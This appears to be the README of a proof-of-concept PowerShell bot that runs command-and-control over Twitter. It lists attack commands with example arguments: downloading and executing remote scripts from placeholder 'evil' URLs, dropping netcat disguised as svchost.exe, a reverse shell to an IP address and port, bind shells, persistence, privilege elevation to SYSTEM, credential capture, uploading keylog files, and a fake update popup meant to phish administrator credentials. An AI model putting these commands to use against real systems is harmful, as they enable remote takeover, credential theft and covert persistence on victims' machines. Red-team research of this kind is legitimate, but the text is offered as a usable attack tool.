Create Invoke-TwitterBot

This is a PoC PowerShell script that is C2 by Twitter.

Commands:
        !quit 
            Ex: !quit
        !change
            Ex: !change|newevilPSbot 
        !speak 
            Ex: !speak|You have been hacked!
        !run 
            Ex: !run|net localgroup adminstrators > c:\windows\temp\ad.txt
        !downexec 
            Ex: !downexec|http://pastebinlikesite.com/moreevilpowershellscript.txt
        !download 
            Ex: !download|http://tools.hackarmoury.com/general_tools/nc/nc.exe|c:\windows\temp\svchost.exe
        !rickroll 
            Ex: !rickroll|http://www.youtube.com/watch?v=dQw4w9WgXcQ
        !shell 
            Ex: !shell|10.0.0.23|443
        !sleep 
            Ex: !sleep|9999
        !thunderstruck 
            Ex: !thunderstruck|http://www.youtube.com/watch?v=v2AC41dglnM
        !eicar 
            Ex: !eicar
        !screenshot 
            Ex: !screenshot|c:\temp\screen.png
        !popup 
            Ex: !popup|Administrative credentials are needed to install a pending update. You will be prompted shortly.|UPDATE PENDING
        !persist 
            Ex: !persist|http://pastebin.com/raw.php?i=Hqs2imY5
        !elevate 
            Ex: !elevate|http://blahblah.com/fjdads/script.raw
        !wallpaper 
            Ex: !wallpaper|http://itechbook.net/wp-content/uploads/6a00d8341c652b53ef017615ff8a0b970c-800wi.jpg/|c:\windows\temp\1.jpg
        !packetcapture 
            Ex: !packetcapture|10|c:\demo\|cap.log
        !getsystem 
            Ex: !getsystem
        !bindshell 
            Ex: !bindshell|8080
        !upload 
            !upload|c:\demo\keylog.txt
        !credential
            !credential|c:\temp\creds.txt